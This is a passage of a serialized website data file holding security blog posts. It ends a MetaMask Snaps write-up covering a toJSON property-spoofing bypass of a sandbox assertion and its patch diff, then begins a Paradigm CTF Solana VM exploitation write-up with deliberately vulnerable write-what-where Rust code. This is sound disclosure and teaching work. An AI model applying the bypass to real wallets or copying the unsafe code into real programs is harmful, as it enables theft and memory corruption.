10},{"type":24,"tag":930,"props":43164,"children":43165},{"style":1023},[43166],{"type":30,"value":22378},{"type":24,"tag":930,"props":43168,"children":43169},{"style":959},[43170],{"type":30,"value":1278},{"type":24,"tag":930,"props":43172,"children":43173},{"class":932,"line":1919},[43174],{"type":24,"tag":930,"props":43175,"children":43176},{"style":959},[43177],{"type":30,"value":2528},{"type":24,"tag":930,"props":43179,"children":43180},{"class":932,"line":1927},[43181],{"type":24,"tag":930,"props":43182,"children":43183},{"emptyLinePlaceholder":16},[43184],{"type":30,"value":2412},{"type":24,"tag":930,"props":43186,"children":43187},{"class":932,"line":1935},[43188,43192,43196,43201,43205,43210,43214,43219,43224,43228,43232,43237,43241],{"type":24,"tag":930,"props":43189,"children":43190},{"style":1079},[43191],{"type":30,"value":41297},{"type":24,"tag":930,"props":43193,"children":43194},{"style":937},[43195],{"type":30,"value":42198},{"type":24,"tag":930,"props":43197,"children":43198},{"style":1002},[43199],{"type":30,"value":43200}," onRpcRequest",{"type":24,"tag":930,"props":43202,"children":43203},{"style":1158},[43204],{"type":30,"value":476},{"type":24,"tag":930,"props":43206,"children":43207},{"style":943},[43208],{"type":30,"value":43209}," OnRpcRequestHandler",{"type":24,"tag":930,"props":43211,"children":43212},{"style":1158},[43213],{"type":30,"value":6137},{"type":24,"tag":930,"props":43215,"children":43216},{"style":959},[43217],{"type":30,"value":43218}," ({ ",{"type":24,"tag":930,"props":43220,"children":43221},{"style":1023},[43222],{"type":30,"value":43223},"origin",{"type":24,"tag":930,"props":43225,"children":43226},{"style":959},[43227],{"type":30,"value":962},{"type":24,"tag":930,"props":43229,"children":43230},{"style":1023},[43231],{"type":30,"value":34585},{"type":24,"tag":930,"props":43233,"children":43234},{"style":959},[43235],{"type":30,"value":43236}," }) ",{"type":24,"tag":930,"props":43238,"children":43239},{"style":937},[43240],{"type":30,"value":17925},{"type":24,"tag":930,"props":43242,"children":43243},{"style":959},[43244],{"type":30,"value":981},{"type":24,"tag":930,"props":43246,"children":43247},{"class":932,"line":1943},[43248],{"type":24,"tag":930,"props":43249,"children":43250},{"emptyLinePlaceholder":16},[43251],{"type":30,"value":2412},{"type":24,"tag":930,"props":43253,"children":43254},{"class":932,"line":1955},[43255,43260,43264,43268,43272,43276],{"type":24,"tag":930,"props":43256,"children":43257},{"style":1079},[43258],{"type":30,"value":43259},"  switch",{"type":24,"tag":930,"props":43261,"children":43262},{"style":959},[43263],{"type":30,"value":1087},{"type":24,"tag":930,"props":43265,"children":43266},{"style":1023},[43267],{"type":30,"value":34585},{"type":24,"tag":930,"props":43269,"children":43270},{"style":959},[43271],{"type":30,"value":436},{"type":24,"tag":930,"props":43273,"children":43274},{"style":1023},[43275],{"type":30,"value":41400},{"type":24,"tag":930,"props":43277,"children":43278},{"style":959},[43279],{"type":30,"value":1503},{"type":24,"tag":930,"props":43281,"children":43282},{"class":932,"line":1975},[43283,43288,43293],{"type":24,"tag":930,"props":43284,"children":43285},{"style":1079},[43286],{"type":30,"value":43287},"    case",{"type":24,"tag":930,"props":43289,"children":43290},{"style":1270},[43291],{"type":30,"value":43292}," 'json'",{"type":24,"tag":930,"props":43294,"children":43295},{"style":959},[43296],{"type":30,"value":8680},{"type":24,"tag":930,"props":43298,"children":43299},{"class":932,"line":1995},[43300,43304,43308],{"type":24,"tag":930,"props":43301,"children":43302},{"style":1079},[43303],{"type":30,"value":42444},{"type":24,"tag":930,"props":43305,"children":43306},{"style":1002},[43307],{"type":30,"value":42687},{"type":24,"tag":930,"props":43309,"children":43310},{"style":959},[43311],{"type":30,"value":1310},{"type":24,"tag":930,"props":43313,"children":43314},{"class":932,"line":2061},[43315,43319,43324],{"type":24,"tag":930,"props":43316,"children":43317},{"style":1079},[43318],{"type":30,"value":43287},{"type":24,"tag":930,"props":43320,"children":43321},{"style":1270},[43322],{"type":30,"value":43323}," 'transaction'",{"type":24,"tag":930,"props":43325,"children":43326},{"style":959},[43327],{"type":30,"value":8680},{"type":24,"tag":930,"props":43329,"children":43330},{"class":932,"line":2085},[43331,43335,43339],{"type":24,"tag":930,"props":43332,"children":43333},{"style":1079},[43334],{"type":30,"value":42444},{"type":24,"tag":930,"props":43336,"children":43337},{"style":1002},[43338],{"type":30,"value":42919},{"type":24,"tag":930,"props":43340,"children":43341},{"style":959},[43342],{"type":30,"value":1310},{"type":24,"tag":930,"props":43344,"children":43345},{"class":932,"line":2119},[43346,43351],{"type":24,"tag":930,"props":43347,"children":43348},{"style":1079},[43349],{"type":30,"value":43350},"    default",{"type":24,"tag":930,"props":43352,"children":43353},{"style":959},[43354],{"type":30,"value":8680},{"type":24,"tag":930,"props":43356,"children":43357},{"class":932,"line":2135},[43358,43363,43367,43372,43376,43381],{"type":24,"tag":930,"props":43359,"children":43360},{"style":1079},[43361],{"type":30,"value":43362},"      throw",{"type":24,"tag":930,"props":43364,"children":43365},{"style":937},[43366],{"type":30,"value":35023},{"type":24,"tag":930,"props":43368,"children":43369},{"style":1002},[43370],{"type":30,"value":43371}," Error",{"type":24,"tag":930,"props":43373,"children":43374},{"style":959},[43375],{"type":30,"value":1010},{"type":24,"tag":930,"props":43377,"children":43378},{"style":1270},[43379],{"type":30,"value":43380},"'Method not found.'",{"type":24,"tag":930,"props":43382,"children":43383},{"style":959},[43384],{"type":30,"value":1278},{"type":24,"tag":930,"props":43386,"children":43387},{"class":932,"line":2171},[43388],{"type":24,"tag":930,"props":43389,"children":43390},{"style":959},[43391],{"type":30,"value":8984},{"type":24,"tag":930,"props":43393,"children":43394},{"class":932,"line":2180},[43395],{"type":24,"tag":930,"props":43396,"children":43397},{"style":959},[43398],{"type":30,"value":19679},{"type":24,"tag":33,"props":43400,"children":43401},{},[43402,43404,43410,43412,43417],{"type":30,"value":43403},"We set ",{"type":24,"tag":156,"props":43405,"children":43407},{"className":43406},[],[43408],{"type":30,"value":43409},"x.method = \"snap_dialog\"",{"type":30,"value":43411}," to pass the assertion and setup a toJSON function to change this method to ",{"type":24,"tag":156,"props":43413,"children":43415},{"className":43414},[],[43416],{"type":30,"value":42619},{"type":30,"value":43418}," after.",{"type":24,"tag":151,"props":43420,"children":43422},{"id":43421},"mitigation",[43423],{"type":30,"value":43424},"Mitigation",{"type":24,"tag":33,"props":43426,"children":43427},{},[43428,43430,43435,43437,43444],{"type":30,"value":43429},"Metamask mitigated this issue by asserting the arguments after the ",{"type":24,"tag":156,"props":43431,"children":43433},{"className":43432},[],[43434],{"type":30,"value":42163},{"type":30,"value":43436}," function execution. The patch was introduced on commit ",{"type":24,"tag":37,"props":43438,"children":43441},{"href":43439,"rel":43440},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[41],[43442],{"type":30,"value":43443},"168ff08",{"type":30,"value":43445}," with the following changes:",{"type":24,"tag":920,"props":43447,"children":43451},{"className":43448,"code":43449,"language":43450,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[43452],{"type":24,"tag":156,"props":43453,"children":43454},{"__ignoreMap":7},[43455,43463,43471,43479,43487],{"type":24,"tag":930,"props":43456,"children":43457},{"class":932,"line":933},[43458],{"type":24,"tag":930,"props":43459,"children":43460},{"style":959},[43461],{"type":30,"value":43462},"const request = async (args: RequestArguments) => {\n",{"type":24,"tag":930,"props":43464,"children":43465},{"class":932,"line":984},[43466],{"type":24,"tag":930,"props":43467,"children":43468},{"style":1270},[43469],{"type":30,"value":43470},"-      assertEthereumOutboundRequest(args);\n",{"type":24,"tag":930,"props":43472,"children":43473},{"class":932,"line":993},[43474],{"type":24,"tag":930,"props":43475,"children":43476},{"style":1270},[43477],{"type":30,"value":43478},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":24,"tag":930,"props":43480,"children":43481},{"class":932,"line":1057},[43482],{"type":24,"tag":930,"props":43483,"children":43484},{"style":1242},[43485],{"type":30,"value":43486},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":24,"tag":930,"props":43488,"children":43489},{"class":932,"line":1066},[43490],{"type":24,"tag":930,"props":43491,"children":43492},{"style":1242},[43493],{"type":30,"value":43494},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":24,"tag":68,"props":43496,"children":43497},{"id":5876},[43498],{"type":30,"value":5879},{"type":24,"tag":33,"props":43500,"children":43501},{},[43502],{"type":30,"value":43503},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":24,"tag":33,"props":43505,"children":43506},{},[43507],{"type":30,"value":43508},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":24,"tag":5957,"props":43510,"children":43511},{},[43512],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":43514},[43515,43516,43523,43531],{"id":22058,"depth":984,"text":22061},{"id":38540,"depth":984,"text":38543,"children":43517},[43518,43519,43520,43521,43522],{"id":38551,"depth":993,"text":38554},{"id":38619,"depth":993,"text":38622},{"id":38655,"depth":993,"text":38658},{"id":40051,"depth":993,"text":40054},{"id":40409,"depth":993,"text":40412},{"id":41196,"depth":984,"text":41199,"children":43524},[43525,43526,43527,43528,43529,43530],{"id":41202,"depth":993,"text":41205},{"id":41246,"depth":993,"text":41249},{"id":42149,"depth":993,"text":42152},{"id":8774,"depth":993,"text":8777},{"id":42592,"depth":993,"text":37918},{"id":43421,"depth":993,"text":43424},{"id":5876,"depth":984,"text":5879},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":43536,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":43537,"description":43538,"author":43539,"image":43541,"date":43543,"isFeatured":16,"onBlogPage":16,"body":43544,"_type":5983,"_id":48962,"_source":5985,"_file":48963,"_stem":48964,"_extension":5988},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[43540,8832],"nicola",{"src":43542},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":21,"children":43545,"toc":48951},[43546,43560,43580,43585,43589,43602,43627,43633,43638,43653,44007,44022,44286,44302,44945,44951,44956,44969,44977,45189,45197,45500,45508,45651,45659,46184,46190,46202,46215,46229,46234,47002,47007,47015,47020,47026,47038,47103,47108,47121,47134,47140,47168,48319,48332,48374,48379,48384,48397,48537,48558,48579,48586,48637,48645,48656,48669,48674,48798,48811,48913,48917,48930,48935,48947],{"type":24,"tag":33,"props":43547,"children":43548},{},[43549,43551,43558],{"type":30,"value":43550},"In the world of CTFs, ",{"type":24,"tag":37,"props":43552,"children":43555},{"href":43553,"rel":43554},"https://twitter.com/paradigm_ctf",[41],[43556],{"type":30,"value":43557},"Paradigm CTF 2023",{"type":30,"value":43559}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":24,"tag":33,"props":43561,"children":43562},{},[43563,43565,43572,43573],{"type":30,"value":43564},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":24,"tag":37,"props":43566,"children":43569},{"href":43567,"rel":43568},"https://osec.io/blog/2022-03-14-solana-security-intro",[41],[43570],{"type":30,"value":43571},"Solana: An Auditor's Introduction",{"type":30,"value":211},{"type":24,"tag":37,"props":43574,"children":43577},{"href":43575,"rel":43576},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[41],[43578],{"type":30,"value":43579},"Reverse Engineering Solana with Binary Ninja.\n",{"type":24,"tag":33,"props":43581,"children":43582},{},[43583],{"type":30,"value":43584},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":24,"tag":68,"props":43586,"children":43587},{"id":22058},[43588],{"type":30,"value":22061},{"type":24,"tag":33,"props":43590,"children":43591},{},[43592,43594,43600],{"type":30,"value":43593},"The challenge itself resides into ",{"type":24,"tag":156,"props":43595,"children":43597},{"className":43596},[],[43598],{"type":30,"value":43599},"framework/",{"type":30,"value":43601},", and is composed of 2 parts:",{"type":24,"tag":96,"props":43603,"children":43604},{},[43605,43616],{"type":24,"tag":100,"props":43606,"children":43607},{},[43608,43614],{"type":24,"tag":156,"props":43609,"children":43611},{"className":43610},[],[43612],{"type":30,"value":43613},"framework/chall/lib.rs",{"type":30,"value":43615},": The on-chain eBPF program that needs to be exploited.",{"type":24,"tag":100,"props":43617,"children":43618},{},[43619,43625],{"type":24,"tag":156,"props":43620,"children":43622},{"className":43621},[],[43623],{"type":30,"value":43624},"framework/src/main.rs",{"type":30,"value":43626},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":24,"tag":151,"props":43628,"children":43630},{"id":43629},"vulnerable-program",[43631],{"type":30,"value":43632},"Vulnerable Program",{"type":24,"tag":33,"props":43634,"children":43635},{},[43636],{"type":30,"value":43637},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":24,"tag":478,"props":43639,"children":43640},{},[43641],{"type":24,"tag":100,"props":43642,"children":43643},{},[43644,43645,43651],{"type":30,"value":3710},{"type":24,"tag":156,"props":43646,"children":43648},{"className":43647},[],[43649],{"type":30,"value":43650},"data[0] == 0",{"type":30,"value":43652}," a function that lets you write-what-where is executed",{"type":24,"tag":920,"props":43654,"children":43656},{"className":6102,"code":43655,"language":6101,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[43657],{"type":24,"tag":156,"props":43658,"children":43659},{"__ignoreMap":7},[43660,43668,43713,43724,43847,43964,43993,44000],{"type":24,"tag":930,"props":43661,"children":43662},{"class":932,"line":933},[43663],{"type":24,"tag":930,"props":43664,"children":43665},{"style":959},[43666],{"type":30,"value":43667},"#[inline(never)]\n",{"type":24,"tag":930,"props":43669,"children":43670},{"class":932,"line":984},[43671,43675,43679,43684,43688,43692,43696,43700,43704,43708],{"type":24,"tag":930,"props":43672,"children":43673},{"style":937},[43674],{"type":30,"value":16797},{"type":24,"tag":930,"props":43676,"children":43677},{"style":937},[43678],{"type":30,"value":16802},{"type":24,"tag":930,"props":43680,"children":43681},{"style":1002},[43682],{"type":30,"value":43683}," write",{"type":24,"tag":930,"props":43685,"children":43686},{"style":959},[43687],{"type":30,"value":1010},{"type":24,"tag":930,"props":43689,"children":43690},{"style":1023},[43691],{"type":30,"value":6817},{"type":24,"tag":930,"props":43693,"children":43694},{"style":1158},[43695],{"type":30,"value":476},{"type":24,"tag":930,"props":43697,"children":43698},{"style":1158},[43699],{"type":30,"value":10253},{"type":24,"tag":930,"props":43701,"children":43702},{"style":959},[43703],{"type":30,"value":6849},{"type":24,"tag":930,"props":43705,"children":43706},{"style":943},[43707],{"type":30,"value":6538},{"type":24,"tag":930,"props":43709,"children":43710},{"style":959},[43711],{"type":30,"value":43712},"]) {\n",{"type":24,"tag":930,"props":43714,"children":43715},{"class":932,"line":993},[43716,43720],{"type":24,"tag":930,"props":43717,"children":43718},{"style":937},[43719],{"type":30,"value":16940},{"type":24,"tag":930,"props":43721,"children":43722},{"style":959},[43723],{"type":30,"value":981},{"type":24,"tag":930,"props":43725,"children":43726},{"class":932,"line":1057},[43727,43731,43735,43739,43744,43748,43753,43757,43762,43766,43771,43775,43779,43783,43787,43791,43795,43799,43803,43807,43811,43815,43819,43823,43827,43831,43835,43839,43843],{"type":24,"tag":930,"props":43728,"children":43729},{"style":937},[43730],{"type":30,"value":6186},{"type":24,"tag":930,"props":43732,"children":43733},{"style":1023},[43734],{"type":30,"value":16964},{"type":24,"tag":930,"props":43736,"children":43737},{"style":1158},[43738],{"type":30,"value":6137},{"type":24,"tag":930,"props":43740,"children":43741},{"style":959},[43742],{"type":30,"value":43743}," std",{"type":24,"tag":930,"props":43745,"children":43746},{"style":1158},[43747],{"type":30,"value":6597},{"type":24,"tag":930,"props":43749,"children":43750},{"style":959},[43751],{"type":30,"value":43752},"mem",{"type":24,"tag":930,"props":43754,"children":43755},{"style":1158},[43756],{"type":30,"value":6597},{"type":24,"tag":930,"props":43758,"children":43759},{"style":1002},[43760],{"type":30,"value":43761},"transmute",{"type":24,"tag":930,"props":43763,"children":43764},{"style":1158},[43765],{"type":30,"value":6597},{"type":24,"tag":930,"props":43767,"children":43768},{"style":959},[43769],{"type":30,"value":43770},"\u003C[",{"type":24,"tag":930,"props":43772,"children":43773},{"style":943},[43774],{"type":30,"value":6538},{"type":24,"tag":930,"props":43776,"children":43777},{"style":959},[43778],{"type":30,"value":20328},{"type":24,"tag":930,"props":43780,"children":43781},{"style":1242},[43782],{"type":30,"value":7192},{"type":24,"tag":930,"props":43784,"children":43785},{"style":959},[43786],{"type":30,"value":26162},{"type":24,"tag":930,"props":43788,"children":43789},{"style":1158},[43790],{"type":30,"value":1410},{"type":24,"tag":930,"props":43792,"children":43793},{"style":937},[43794],{"type":30,"value":6839},{"type":24,"tag":930,"props":43796,"children":43797},{"style":943},[43798],{"type":30,"value":8972},{"type":24,"tag":930,"props":43800,"children":43801},{"style":959},[43802],{"type":30,"value":10721},{"type":24,"tag":930,"props":43804,"children":43805},{"style":1023},[43806],{"type":30,"value":6817},{"type":24,"tag":930,"props":43808,"children":43809},{"style":959},[43810],{"type":30,"value":6849},{"type":24,"tag":930,"props":43812,"children":43813},{"style":1158},[43814],{"type":30,"value":6173},{"type":24,"tag":930,"props":43816,"children":43817},{"style":1242},[43818],{"type":30,"value":7192},{"type":24,"tag":930,"props":43820,"children":43821},{"style":959},[43822],{"type":30,"value":18514},{"type":24,"tag":930,"props":43824,"children":43825},{"style":1158},[43826],{"type":30,"value":436},{"type":24,"tag":930,"props":43828,"children":43829},{"style":1002},[43830],{"type":30,"value":29254},{"type":24,"tag":930,"props":43832,"children":43833},{"style":959},[43834],{"type":30,"value":16986},{"type":24,"tag":930,"props":43836,"children":43837},{"style":1158},[43838],{"type":30,"value":436},{"type":24,"tag":930,"props":43840,"children":43841},{"style":1002},[43842],{"type":30,"value":6781},{"type":24,"tag":930,"props":43844,"children":43845},{"style":959},[43846],{"type":30,"value":18528},{"type":24,"tag":930,"props":43848,"children":43849},{"class":932,"line":1066},[43850,43854,43859,43863,43867,43871,43875,43879,43883,43887,43891,43895,43899,43903,43907,43911,43915,43919,43923,43927,43931,43936,43940,43944,43948,43952,43956,43960],{"type":24,"tag":930,"props":43851,"children":43852},{"style":937},[43853],{"type":30,"value":6186},{"type":24,"tag":930,"props":43855,"children":43856},{"style":1023},[43857],{"type":30,"value":43858}," val",{"type":24,"tag":930,"props":43860,"children":43861},{"style":1158},[43862],{"type":30,"value":6137},{"type":24,"tag":930,"props":43864,"children":43865},{"style":959},[43866],{"type":30,"value":43743},{"type":24,"tag":930,"props":43868,"children":43869},{"style":1158},[43870],{"type":30,"value":6597},{"type":24,"tag":930,"props":43872,"children":43873},{"style":959},[43874],{"type":30,"value":43752},{"type":24,"tag":930,"props":43876,"children":43877},{"style":1158},[43878],{"type":30,"value":6597},{"type":24,"tag":930,"props":43880,"children":43881},{"style":1002},[43882],{"type":30,"value":43761},{"type":24,"tag":930,"props":43884,"children":43885},{"style":1158},[43886],{"type":30,"value":6597},{"type":24,"tag":930,"props":43888,"children":43889},{"style":959},[43890],{"type":30,"value":43770},{"type":24,"tag":930,"props":43892,"children":43893},{"style":943},[43894],{"type":30,"value":6538},{"type":24,"tag":930,"props":43896,"children":43897},{"style":959},[43898],{"type":30,"value":20328},{"type":24,"tag":930,"props":43900,"children":43901},{"style":1242},[43902],{"type":30,"value":7192},{"type":24,"tag":930,"props":43904,"children":43905},{"style":959},[43906],{"type":30,"value":26162},{"type":24,"tag":930,"props":43908,"children":43909},{"style":943},[43910],{"type":30,"value":11152},{"type":24,"tag":930,"props":43912,"children":43913},{"style":959},[43914],{"type":30,"value":10721},{"type":24,"tag":930,"props":43916,"children":43917},{"style":1023},[43918],{"type":30,"value":6817},{"type":24,"tag":930,"props":43920,"children":43921},{"style":959},[43922],{"type":30,"value":6849},{"type":24,"tag":930,"props":43924,"children":43925},{"style":1242},[43926],{"type":30,"value":7192},{"type":24,"tag":930,"props":43928,"children":43929},{"style":1158},[43930],{"type":30,"value":6173},{"type":24,"tag":930,"props":43932,"children":43933},{"style":1242},[43934],{"type":30,"value":43935},"16",{"type":24,"tag":930,"props":43937,"children":43938},{"style":959},[43939],{"type":30,"value":18514},{"type":24,"tag":930,"props":43941,"children":43942},{"style":1158},[43943],{"type":30,"value":436},{"type":24,"tag":930,"props":43945,"children":43946},{"style":1002},[43947],{"type":30,"value":29254},{"type":24,"tag":930,"props":43949,"children":43950},{"style":959},[43951],{"type":30,"value":16986},{"type":24,"tag":930,"props":43953,"children":43954},{"style":1158},[43955],{"type":30,"value":436},{"type":24,"tag":930,"props":43957,"children":43958},{"style":1002},[43959],{"type":30,"value":6781},{"type":24,"tag":930,"props":43961,"children":43962},{"style":959},[43963],{"type":30,"value":18528},{"type":24,"tag":930,"props":43965,"children":43966},{"class":932,"line":1075},[43967,43972,43976,43981,43985,43989],{"type":24,"tag":930,"props":43968,"children":43969},{"style":1023},[43970],{"type":30,"value":43971},"        ptr",{"type":24,"tag":930,"props":43973,"children":43974},{"style":1158},[43975],{"type":30,"value":436},{"type":24,"tag":930,"props":43977,"children":43978},{"style":1002},[43979],{"type":30,"value":43980},"write_volatile",{"type":24,"tag":930,"props":43982,"children":43983},{"style":959},[43984],{"type":30,"value":1010},{"type":24,"tag":930,"props":43986,"children":43987},{"style":1023},[43988],{"type":30,"value":15739},{"type":24,"tag":930,"props":43990,"children":43991},{"style":959},[43992],{"type":30,"value":1278},{"type":24,"tag":930,"props":43994,"children":43995},{"class":932,"line":1122},[43996],{"type":24,"tag":930,"props":43997,"children":43998},{"style":959},[43999],{"type":30,"value":1840},{"type":24,"tag":930,"props":44001,"children":44002},{"class":932,"line":1131},[44003],{"type":24,"tag":930,"props":44004,"children":44005},{"style":959},[44006],{"type":30,"value":2528},{"type":24,"tag":478,"props":44008,"children":44009},{"start":984},[44010],{"type":24,"tag":100,"props":44011,"children":44012},{},[44013,44014,44020],{"type":30,"value":3710},{"type":24,"tag":156,"props":44015,"children":44017},{"className":44016},[],[44018],{"type":30,"value":44019},"data[0] == 1",{"type":30,"value":44021},", a CPI to a non-existent program is executed:",{"type":24,"tag":920,"props":44023,"children":44025},{"className":6102,"code":44024,"language":6101,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[44026],{"type":24,"tag":156,"props":44027,"children":44028},{"__ignoreMap":7},[44029,44036,44079,44104,44134,44174,44195,44202,44209,44221,44237,44249,44260,44279],{"type":24,"tag":930,"props":44030,"children":44031},{"class":932,"line":933},[44032],{"type":24,"tag":930,"props":44033,"children":44034},{"style":959},[44035],{"type":30,"value":43667},{"type":24,"tag":930,"props":44037,"children":44038},{"class":932,"line":984},[44039,44043,44047,44051,44055,44059,44063,44067,44071,44075],{"type":24,"tag":930,"props":44040,"children":44041},{"style":937},[44042],{"type":30,"value":16797},{"type":24,"tag":930,"props":44044,"children":44045},{"style":937},[44046],{"type":30,"value":16802},{"type":24,"tag":930,"props":44048,"children":44049},{"style":1002},[44050],{"type":30,"value":3150},{"type":24,"tag":930,"props":44052,"children":44053},{"style":959},[44054],{"type":30,"value":1010},{"type":24,"tag":930,"props":44056,"children":44057},{"style":1023},[44058],{"type":30,"value":6817},{"type":24,"tag":930,"props":44060,"children":44061},{"style":1158},[44062],{"type":30,"value":476},{"type":24,"tag":930,"props":44064,"children":44065},{"style":1158},[44066],{"type":30,"value":10253},{"type":24,"tag":930,"props":44068,"children":44069},{"style":959},[44070],{"type":30,"value":6849},{"type":24,"tag":930,"props":44072,"children":44073},{"style":943},[44074],{"type":30,"value":6538},{"type":24,"tag":930,"props":44076,"children":44077},{"style":959},[44078],{"type":30,"value":43712},{"type":24,"tag":930,"props":44080,"children":44081},{"class":932,"line":993},[44082,44086,44091,44095,44100],{"type":24,"tag":930,"props":44083,"children":44084},{"style":937},[44085],{"type":30,"value":6122},{"type":24,"tag":930,"props":44087,"children":44088},{"style":1023},[44089],{"type":30,"value":44090}," ix",{"type":24,"tag":930,"props":44092,"children":44093},{"style":1158},[44094],{"type":30,"value":6137},{"type":24,"tag":930,"props":44096,"children":44097},{"style":943},[44098],{"type":30,"value":44099}," Instruction",{"type":24,"tag":930,"props":44101,"children":44102},{"style":959},[44103],{"type":30,"value":981},{"type":24,"tag":930,"props":44105,"children":44106},{"class":932,"line":1057},[44107,44112,44116,44121,44125,44130],{"type":24,"tag":930,"props":44108,"children":44109},{"style":1023},[44110],{"type":30,"value":44111},"        program_id",{"type":24,"tag":930,"props":44113,"children":44114},{"style":1158},[44115],{"type":30,"value":476},{"type":24,"tag":930,"props":44117,"children":44118},{"style":1002},[44119],{"type":30,"value":44120}," pubkey!",{"type":24,"tag":930,"props":44122,"children":44123},{"style":959},[44124],{"type":30,"value":1010},{"type":24,"tag":930,"props":44126,"children":44127},{"style":1270},[44128],{"type":30,"value":44129},"\"osecio5555555555555551111111111111111111111\"",{"type":24,"tag":930,"props":44131,"children":44132},{"style":959},[44133],{"type":30,"value":9848},{"type":24,"tag":930,"props":44135,"children":44136},{"class":932,"line":1066},[44137,44142,44146,44150,44154,44158,44162,44166,44170],{"type":24,"tag":930,"props":44138,"children":44139},{"style":1023},[44140],{"type":30,"value":44141},"        data",{"type":24,"tag":930,"props":44143,"children":44144},{"style":1158},[44145],{"type":30,"value":476},{"type":24,"tag":930,"props":44147,"children":44148},{"style":1023},[44149],{"type":30,"value":18208},{"type":24,"tag":930,"props":44151,"children":44152},{"style":1158},[44153],{"type":30,"value":436},{"type":24,"tag":930,"props":44155,"children":44156},{"style":1002},[44157],{"type":30,"value":29254},{"type":24,"tag":930,"props":44159,"children":44160},{"style":959},[44161],{"type":30,"value":16986},{"type":24,"tag":930,"props":44163,"children":44164},{"style":1158},[44165],{"type":30,"value":436},{"type":24,"tag":930,"props":44167,"children":44168},{"style":1002},[44169],{"type":30,"value":6781},{"type":24,"tag":930,"props":44171,"children":44172},{"style":959},[44173],{"type":30,"value":6607},{"type":24,"tag":930,"props":44175,"children":44176},{"class":932,"line":1075},[44177,44182,44186,44190],{"type":24,"tag":930,"props":44178,"children":44179},{"style":1023},[44180],{"type":30,"value":44181},"        accounts",{"type":24,"tag":930,"props":44183,"children":44184},{"style":1158},[44185],{"type":30,"value":476},{"type":24,"tag":930,"props":44187,"children":44188},{"style":1002},[44189],{"type":30,"value":6844},{"type":24,"tag":930,"props":44191,"children":44192},{"style":959},[44193],{"type":30,"value":44194},"[]\n",{"type":24,"tag":930,"props":44196,"children":44197},{"class":932,"line":1122},[44198],{"type":24,"tag":930,"props":44199,"children":44200},{"style":959},[44201],{"type":30,"value":42084},{"type":24,"tag":930,"props":44203,"children":44204},{"class":932,"line":1131},[44205],{"type":24,"tag":930,"props":44206,"children":44207},{"emptyLinePlaceholder":16},[44208],{"type":30,"value":2412},{"type":24,"tag":930,"props":44210,"children":44211},{"class":932,"line":1144},[44212,44217],{"type":24,"tag":930,"props":44213,"children":44214},{"style":1002},[44215],{"type":30,"value":44216},"    invoke_signed_unchecked",{"type":24,"tag":930,"props":44218,"children":44219},{"style":959},[44220],{"type":30,"value":2814},{"type":24,"tag":930,"props":44222,"children":44223},{"class":932,"line":1169},[44224,44228,44233],{"type":24,"tag":930,"props":44225,"children":44226},{"style":1158},[44227],{"type":30,"value":6587},{"type":24,"tag":930,"props":44229,"children":44230},{"style":1023},[44231],{"type":30,"value":44232},"ix",{"type":24,"tag":930,"props":44234,"children":44235},{"style":959},[44236],{"type":30,"value":2832},{"type":24,"tag":930,"props":44238,"children":44239},{"class":932,"line":1191},[44240,44244],{"type":24,"tag":930,"props":44241,"children":44242},{"style":1158},[44243],{"type":30,"value":6587},{"type":24,"tag":930,"props":44245,"children":44246},{"style":959},[44247],{"type":30,"value":44248},"[],\n",{"type":24,"tag":930,"props":44250,"children":44251},{"class":932,"line":1223},[44252,44256],{"type":24,"tag":930,"props":44253,"children":44254},{"style":1158},[44255],{"type":30,"value":6587},{"type":24,"tag":930,"props":44257,"children":44258},{"style":959},[44259],{"type":30,"value":44248},{"type":24,"tag":930,"props":44261,"children":44262},{"class":932,"line":1281},[44263,44267,44271,44275],{"type":24,"tag":930,"props":44264,"children":44265},{"style":959},[44266],{"type":30,"value":6772},{"type":24,"tag":930,"props":44268,"children":44269},{"style":1158},[44270],{"type":30,"value":436},{"type":24,"tag":930,"props":44272,"children":44273},{"style":1002},[44274],{"type":30,"value":6781},{"type":24,"tag":930,"props":44276,"children":44277},{"style":959},[44278],{"type":30,"value":1310},{"type":24,"tag":930,"props":44280,"children":44281},{"class":932,"line":1313},[44282],{"type":24,"tag":930,"props":44283,"children":44284},{"style":959},[44285],{"type":30,"value":2528},{"type":24,"tag":4